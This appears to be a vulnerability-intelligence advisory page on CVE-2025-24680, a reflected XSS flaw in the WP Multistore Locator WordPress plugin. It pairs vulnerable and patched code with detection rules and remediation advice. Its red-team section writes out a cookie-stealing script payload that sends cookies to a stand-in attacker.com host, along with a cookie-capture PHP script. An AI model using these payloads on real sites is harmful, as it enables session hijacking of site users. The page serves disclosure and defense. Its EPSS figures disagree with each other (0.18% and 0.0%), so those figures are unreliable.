☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpexperts logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-80
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24680

CVE-2025-24680 Cross-Site Scripting in Wpexperts
📅 PUBLISHED: 2025-01-27 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24680 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPExperts WP Multistore Locator WordPress plugin, affecting versions up to and including 2.4.7. The vulnerability stems from improper neutralization of script-related HTML tags in a web page (Basic XSS), allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited to steal session cookies, perform phishing attacks, or deface the site. The CVSS score is 7.1 (High), and no official patch has been released as of the latest advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – The victim must click a crafted link.
  • Scope: Changed (S:C) – The injected script can affect other resources.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Although exploitation requires user interaction, the low complexity and network attack vector make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the wp-multi-store-locator plugin, specifically in how it handles user-supplied input in reflected responses. The plugin fails to properly sanitize script-related HTML tags (e.g., <script>, <img onerror>, <svg onload>) before reflecting them back to the user. This is a classic reflected XSS flaw.

Root Cause: The plugin uses $_GET or $_POST parameters (likely search or store parameters) and echoes them directly into the HTML output without encoding or filtering. For example, a parameter like ?store=<script>alert(1)</script> would be reflected in the page source.

Attack Vector: An attacker crafts a malicious URL containing the XSS payload and tricks a logged-in administrator or user into clicking it. The payload executes in the context of the victim's browser, allowing the attacker to:

  • Steal session cookies (if HttpOnly flag is not set).
  • Perform actions on behalf of the victim (e.g., create admin accounts).
  • Redirect to phishing pages.
  • Deface the site.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack targets the WordPress application layer.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping functions.

Vulnerable Code (PHP):

// In wp-multi-store-locator.php or similar
$store_name = $_GET['store'];
echo "<div class='store-name'>" . $store_name . "</div>";

Patched Code (PHP):

$store_name = sanitize_text_field( $_GET['store'] );
echo "<div class='store-name'>" . esc_html( $store_name ) . "</div>";

The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP Multistore Locator <= 2.4.7 installed and activated.
  • A victim user (e.g., admin) who will click the crafted link.

Exploit Steps:

  1. Identify a vulnerable parameter (e.g., store, search, location). Use a simple test:
    http://target.com/?store=<script>alert(1)</script>
    
  2. If an alert box appears, the parameter is vulnerable.
  3. Craft a payload to steal cookies:
    <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  4. URL-encode the payload and embed it in a link:
    http://target.com/?store=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
    
  5. Send the link to the victim via email, social engineering, or other means.

Lab Setup:

  • Use a local WordPress installation (e.g., via Docker or XAMPP).
  • Install the vulnerable plugin version 2.4.7.
  • Set up a simple PHP script on an attacker machine to capture cookies:
    <?php
    $cookie = $_GET['c'];
    file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
    ?>
    

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests containing <script>, onerror, onload, or other XSS patterns in query parameters.
  • Use WAF rules to block reflected XSS attempts (e.g., ModSecurity rule 942100).
  • Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Defense:

  • Apply input validation and output encoding (see patched code).
  • Set HttpOnly and Secure flags on session cookies.
  • Implement Content Security Policy (CSP) headers to restrict script sources.
  • Keep the plugin updated; if no patch is available, consider disabling the plugin.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with query parameters containing <script>, %3Cscript%3E, onerror, onload, or javascript:.
    • Outbound connections to attacker-controlled domains from the victim's browser.
  • File IOCs:
    • Modified plugin files (e.g., wp-content/plugins/wp-multi-store-locator/*.php) containing injected code.
  • Log IOCs:
    • Web server logs showing repeated requests to the same URL with XSS payloads.
    • Error logs with JavaScript execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_24680_XSS_Reflected {
    meta:
        description = "Detects reflected XSS payloads targeting WP Multistore Locator"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24680"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
        $param = /[?&](store|search|location)\s*=\s*/i
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: Reflected XSS in WP Multistore Locator
id: cve-2025-24680
status: experimental
description: Detects reflected XSS attempts against WP Multistore Locator plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-query|contains|all:
            - 'wp-multi-store-locator'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24680 Reflected XSS in WP Multistore Locator"; flow:to_server,established; content:"wp-multi-store-locator"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if no patch is available and the site is critical.
  2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in query parameters.
  3. Manually patch the vulnerable code by adding esc_html() and sanitize_text_field() to all reflected parameters (see patched code example).

Long-Term Fix:

  • Monitor the vendor's repository for an official update.
  • Consider replacing the plugin with a more secure alternative if the vendor does not respond.

General Best Practices:

  • Implement Content Security Policy (CSP) headers.
  • Use HttpOnly and Secure flags on cookies.
  • Regularly audit WordPress plugins for vulnerabilities.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-multi-store-locator"
http.html:"wp-content/plugins/wp-multi-store-locator"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24680/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.